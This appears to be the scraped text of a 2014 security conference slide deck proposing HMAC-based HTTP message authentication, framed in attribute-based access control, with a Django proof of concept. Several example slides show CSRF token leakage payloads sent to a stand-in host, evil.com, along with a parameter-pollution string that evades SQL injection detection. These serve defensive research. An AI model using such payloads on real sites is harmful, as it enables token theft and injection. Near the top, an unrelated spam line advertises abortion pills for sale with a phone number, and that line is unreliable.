HTTP messages authentication method for web applications is offered. The method can protect web
application against attack based on authentication and authorization weaknesses. It is
showed how HTTP authentication can be expressed in the terms of the attribute based
access control model (ABAC). Implementation of the ABAC access control decision mechanism can use an authentication cryptographic protocol.
%in Bahrain+277-882-255-28 abortion pills for sale in Bahrain
General Method of HTTP Messages Authentication Based on Hash Functions in Web Applications
1. General Method of HTTP Messages Authentication Based on Hash Functions in Web Applications
Denis Kolegov
Tomsk State University
Information Security and Cryptography Department
SEPTEMBER 8 - 13
EKATERINBURG
2014
2. Introduction
•HTTP doesn’t have built in message authentication mechanisms
•HTTP messages authentication for web forms
–Origin authenticity
–Parameter names and values integrity
–Workflow integrity
•OWASP Top 10 2013
–A4 Insecure Direct Object Reference
–A7 Missing Function Level Access Control
–A8 Cross-Site Request Forgery (CSRF)
•Advanced Features
–Attack surface reduction
–Protection against automated attacks
2
4. Example 2 – CSRF Token Leakage
•<BASE> jumping attack
<base href="http://evil.com/"> ← Injection point
<form action="create_folder">
<input type="hidden" name="csrf_token" value="21312">…
</form>
•Malicious request
http://evil.com/create_folder?csrf_token=21312
•Stolen CSRF token can be used by an attacker in different context
http://example.com/admin/delete_account?csrf_token=21312
4
5. Example 3 – CSRF Token Leakage
•POST request based on location.hash value is used to download content from example.com/#/mypage
example.com/#/evil.com ← Injection point
•Malicious request
POST http://evil.com/get_content
Host: evil.com
rn
csrf_token=21312
•Stolen CSRF token can be used by an attacker in different context
http://example.com/admin/delete_account.php?csrf_token=21312
5
6. Example 4 – CSRF Token Leakage
•Content from http://example.com includes the following form
<form action="$_SERVER['REFERER_URI']"> ← Injection point
<input type="hidden" name="csrf_token" value="21312">…
</form>
•http://site.com//evil.com/../search corresponds to the following form
<form action="//evil.com/../search">
<input type="hidden" name="csrf_token" value="21312">…
</form>
•Malicious request
http://evil.com/../search?csrf_token=21312
•Stolen CSRF token can be used by an attacker in different context
http://example.com/admin/delete_account.php?csrf_token=21312
6
7. Example 5 – Parameter Pollution
•Supplying multiple HTTP parameters with the same name may cause an application to interpret values in unanticipated ways
/index.aspx?page=select 1,2,3 from table ← SQL-injection is detected
/index.aspx?page=select 1&page=2,3 from table
•Different web technologies manage multiple occurrences of the same parameter in different ways
7
8. Example 6 – BREACH attack against CSRF Token
•Attackers could figure out CSRF token even when the communication was encrypted
•CSRF Tokens must be unique per request if HTTP Response compression is used
•Facebook tokens
–CSRF_Token = SHA2(accound_id, current_date, random_salt)
•Links
–https://blog.whitehatsec.com/raising-the-csrf-bar/
–https://www.facebook.com/notes/protect-the-graph/preventing-a-breach- attack/1455331811373632
8
12. Known Approaches
•CSRF-tokens
–Encryption-based
–HMAC-based
•Authenticated HTTP requests
–RFC 6749 «The OAuth 1.0 Protocol»
•«Signed requests» API (Yahoo, Amazon, Facebook, Twitter)
•WAF
–ModSecurity: HMAC Token Protection
–F5 Networks ASM: Dynamic Content Value
•Frameworks
–ASP.NET Event Validation, View State MAC
12
13. Limitations of Known Approaches
•As a rule, web applications are protected from attacks against authenticity origin (e.g., CSRF attack)
•HTTP messages authentication mechanisms are implemented in special protocols, API or WAFs
•Client-side generated data and input fields are out of scope
•Protocols should consider HTTP protocol features and influence of session management and load balancing mechanisms
•Workflow protection is not implemented in known frameworks
13
14. Authenticator Base String
•Authenticator base string (ABS) is a normalized string, calculated from object’s and subject’s attributes according to security policy
•The ABS includes the following elements of the HTTP request
–Parameter names and values
–User’s identifiers (session cookie mandatory should be there)
–Resource’s identifier (URI)
–HTTP request method
–HTTP custom headers
•Encoding and delimiters
–BASE64, HEX
–Special characters (# & ; =)
14
15. Web Form Parameters
•Controlled by name
–An attacker can’t change parameter names that were set by server in HTTP response
•Controlled by value
–An attacker can’t change parameter values that were set by server in HTTP response
•Validated
–Client-side generated data
–User’s input fields
15
16. Base Validation Protocol
•We want to validate user’s input using HMAC and authenticator string
•Protocol parameters
–A – alphabet of permitted input characters (e.g., 0,1,…,9)
–U – union operation
–w – user’s input
–S(w) – set of word w characters
–L(A) – string of ordered elements of set A
–k – secret key
•Protocol actions
–Client ← Server: response, containing web form with input field and hidden field with mac = HMAC(k, L(A)) value
–Client → Server: request with mac and w parameters
–Server: if HMAC(k, L(A U S(w)) = mac then request is permitted
16
17. •ABS is constructed by concatenating the following HTTP request elements according to security policy
auth =
ordered list of parameter names + ";" +
ordered list of pairs (parameter name = value or #) + ";" +
user’s identifier + ";" +
resource’s identifier + ";" +
HTTP method
String Construction
17
18. 1.Create L = {p1, …, pm} ordered list of parameter name-value pairs of object request
2. If parameters are controlled by name then
auth = name(p1)+ "&" + … + "&" + name(pm) + ";"
3. For each p from L
if p is controlled then auth = auth + name(p) + "=" + value(p) + "&“
if p is validated then auth = auth + name(p) + "=#&"
4. Add identification data of user and resource, and the HTTP method
auth = auth + "; " + IDs + ";" + IDr + ";" + op
Construction Method
18
19. Sessionless Protocol
•Parameters
–k – server’s master key
–kr – server’s one-time random key
–IDr – resource's identifier
–IDs – user’s identifier
–LP – security policy expressed in a specific language
–time – timestamp
–E – encryption function, h – hash function
•All servers share the same master key and there are no data in session
•Protocol actions
–Client → Server: initial request from user (IDs) to resource (IDr)
–Client ← Server: response , containing access attributes mac = h(kr, auth, time) and Ek(LP , time, kr)
–Client → Server: final request with IDs’, IDr’, mac’, Ek(LP, time, kr)
19
20. Sessionful Protocol
•Parameters
–k – server’s key
–IDr – resource's identifier
–IDs – user’s identifier
–LP – security policy expressed in a specific language
–time – timestamp
–E – encryption function, h – hash function
•Session data
–k, time and LP are stored in user’s session
•Protocol actions
–Client → Server: initial request from user (IDs) to resource (IDr)
–Client ← Server: response, containing access attributes mac = h(k, auth, time)
–Client → Server: final request with IDs’, IDr’, mac’
20
22. •ABAC can be configured to implement DAC, MAC, or RBAC (Jin, Krishnan, Sandhu, 2012)
•Attribute is a property expressed as a name:value pair associated with any entity in the system
•The proposed method of HTTP messages authentication can be expressed in terms of ABAC model
•All this creates the prerequisites for unified access control mechanism in web applications
ABAC properties
22
23. •Elements of model
–Operations – the HTTP methods (GET, POST, PUT, etc)
–Objects – URIs
–Object attributes – permitted parameters for access to object
–Subject – HTTP request to objects
–Subject attributes – HTTP request parameters and headers
•Access rule
–Subject can access object if and only if authenticator calculated from object’s attributes is equal to authenticator calculated from subject’s attributes
Formal Description in ABAC
23
24. The Control of Workflow Integrity
24
•We are currently researching if it possible to develop workflow protection mechanisms in the context of proposed method
•Proposed HTTP messages authentication method makes some attacks against workflow impossible
•Another enhancement of the method is adding a current state and sequence of permitted sates in the policy stored on a client-side in the encrypted form
25. Proof of Concept
•Django Framework
•Web forms strict security
•Project
–https://github.com/tsu-iscd/django-HTTPauth
•Modes
–Sessionless
–Sessionful
25
26. Features
•Strict protection against CSRF attack
•CSRF-tokens protection
–time to live – protection against replay attacks
–randomization – protection against BREACH-like attacks
–context – protection against leakage
•Integrity control of parameter names and values
•Parameter values validation in a given alphabet
•Support configuration without persistent and sharing sessions
26
30. Conclusion
•HTTP messages authentication ABAC model is developed
•General HTTP authentication method allowing to control and to validate client-side generated data is proposed
•Authentication protocol adapted to employment in web applications is designed
–Proposed approach can be employ in configurations without sharing or persistent sessions support
–Protocol data can be stored on server-side and client-side
•PoC have been implemented in Django framework
30
31. Bibliography
•Vladimir Kochetkov. How to Develop a Secure Web Application and Stay in Mind? URL: http://www.slideshare.net/kochetkov.vladimir/how- to-develop-a-secure-web-application-and-stay-in-mind-phdays-3
•Jim Monico, Eoin Keary. Form Processing and Workflows. URL: http://secappdev.org/handouts/2014/Jim%20Manico/HTML%20Forms%20and%20Workflows%20v3.pdf
•Sergey Bobrov. Web Application Attacks via Request-URI. URL: http://xakep.ru/issue/xa-171/
•TrustWave’s SpiderLabs. HMAC Token Protection. URL: http://blog.spiderlabs.com/2014/01/modsecurity-advanced-topic-of- the-week-hmac-token-protection.html
31